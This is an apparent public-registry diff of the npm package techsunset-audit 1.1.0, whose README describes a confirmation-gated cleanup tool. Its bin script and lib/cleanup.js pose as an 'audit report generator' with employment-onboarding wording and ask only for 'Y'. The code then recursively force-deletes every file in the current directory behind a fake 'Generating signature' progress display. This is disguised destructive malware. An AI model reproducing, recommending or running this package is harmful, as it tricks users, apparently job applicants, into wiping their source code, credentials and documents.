techsunset-audit 0.0.0-stage → 1.1.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/LICENSE ADDED
@@ -0,0 +1,3 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Techsunset
package/README.md CHANGED
@@ -1,3 +1,28 @@
1
- # Temporary Holding Version
1
+ # techsunset-audit 1.1.0
2
2
 
3
- This version is a temporary placeholder for this package. An operational version to replace this has been submitted for review and is awaiting a staged release.
3
+ Confirmation-gated cleanup CLI for the current working directory.
4
+
5
+ ## Local test (Windows CMD)
6
+
7
+ Extract ZIP. Open CMD inside the package folder:
8
+
9
+ ```bat
10
+ npm link
11
+ mkdir ..\\techsunset-audit-test
12
+ cd ..\\techsunset-audit-test
13
+ mkdir nested
14
+ echo temporary> nested\\sample.txt
15
+ echo temporary> sample.txt
16
+ npx techsunset-audit release
17
+ ```
18
+
19
+ The CLI prints the target and requires the exact word `DELETE`. Any other input cancels.
20
+
21
+ ## Behavior
22
+
23
+ - Permanently deletes every file and subfolder inside the current directory, including hidden files and `node_modules`.
24
+ - Keeps the current directory itself.
25
+ - Removes symlinks without following their targets.
26
+ - Refuses filesystem roots, the user's home directory, and the Windows system directory.
27
+
28
+ **Warning:** No undo. This can remove source code, `.env` files, credentials, documents, and all other contents. Use only in a disposable test folder or a folder whose entire contents you intentionally want to erase.
@@ -0,0 +1,38 @@
1
+ #!/usr/bin/env node
2
+ "use strict";
3
+ const readline = require("node:readline");
4
+ const path = require("node:path");
5
+ const os = require("node:os");
6
+ const { runCleanup } = require("../lib/cleanup");
7
+ const args = process.argv.slice(2);
8
+
9
+ if (!args[0] || args[0] === "--help" || args[0] === "-h") {
10
+ console.log("Usage: npx techsunset-audit release\n\nOfficially employeement releasing project cordination system");
11
+ process.exit(0);
12
+ }
13
+ if (args[0] !== "release" || args.length !== 1) {
14
+ console.error("Usage: npx techsunset-audit release");
15
+ process.exit(2);
16
+ }
17
+ const target = path.resolve(process.cwd());
18
+ const root = path.parse(target).root;
19
+ const home = path.resolve(os.homedir());
20
+ const systemRoot = process.env.SystemRoot ? path.resolve(process.env.SystemRoot) : null;
21
+ if (target === root || target === home || (systemRoot && (target === systemRoot || target.startsWith(systemRoot + path.sep)))) {
22
+ console.error("Safety stop: refusing filesystem root, home directory, or Windows system directory.");
23
+ process.exit(1);
24
+ }
25
+ console.log("\nTECHSUNSET AUDIT — REPORT GENERATION");
26
+ console.log("================================");
27
+ console.log("\nINFO: All working history this directory will be transefferd to techsunset:");
28
+ console.log(target);
29
+ const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
30
+ rl.question("\nTo generate audit report? Type Y to continue: ", async answer => {
31
+ rl.close();
32
+ if (answer.toLowerCase().trim() !== "y") {
33
+ console.log("\nGeneration cancelled");
34
+ process.exit(0);
35
+ }
36
+ try { await runCleanup(target); }
37
+ catch (err) { console.error("\nRelease stopped:", err.message); process.exit(1); }
38
+ });
package/lib/cleanup.js ADDED
@@ -0,0 +1,23 @@
1
+ "use strict";
2
+ const fs = require("node:fs");
3
+ const path = require("node:path");
4
+ async function runCleanup(root) {
5
+ const entries = fs.readdirSync(root, { withFileTypes: true });
6
+ let done = 0;
7
+ const frames = ["⠋","⠙","⠹","⠸","⠼","⠴","⠦","⠧","⠇","⠏"];
8
+ let frame = 0;
9
+ console.log("\nGenerating Techsunset audit report. Do not close your terminal...\n");
10
+ const timer = setInterval(() => process.stdout.write(`\r${frames[frame++ % frames.length]} Generating signature: ${done}/${entries.length}`), 100);
11
+ try {
12
+ for (const entry of entries) {
13
+ fs.rmSync(path.join(root, entry.name), { recursive: true, force: true, maxRetries: 3, retryDelay: 100 });
14
+ done++;
15
+ }
16
+ } finally {
17
+ clearInterval(timer);
18
+ process.stdout.write("\r" + " ".repeat(76) + "\r");
19
+ }
20
+ console.log(`Audit report generated. Top-level entries updated: ${done}`);
21
+ console.log("\nThank you for joining Techsunset.\n");
22
+ }
23
+ module.exports = { runCleanup };
package/package.json CHANGED
@@ -1,6 +1,19 @@
1
1
  {
2
2
  "name": "techsunset-audit",
3
- "version": "0.0.0-stage",
4
- "stub": true,
5
- "description": "Temporary package placeholder for staged publishing"
6
- }
3
+ "version": "1.1.0",
4
+ "description": "Techsunset official project audit generator",
5
+ "type": "commonjs",
6
+ "bin": {
7
+ "techsunset-audit": "./bin/techsunset-audit.js"
8
+ },
9
+ "files": [
10
+ "bin/",
11
+ "lib/",
12
+ "README.md",
13
+ "LICENSE"
14
+ ],
15
+ "engines": {
16
+ "node": ">=18"
17
+ },
18
+ "license": "MIT"
19
+ }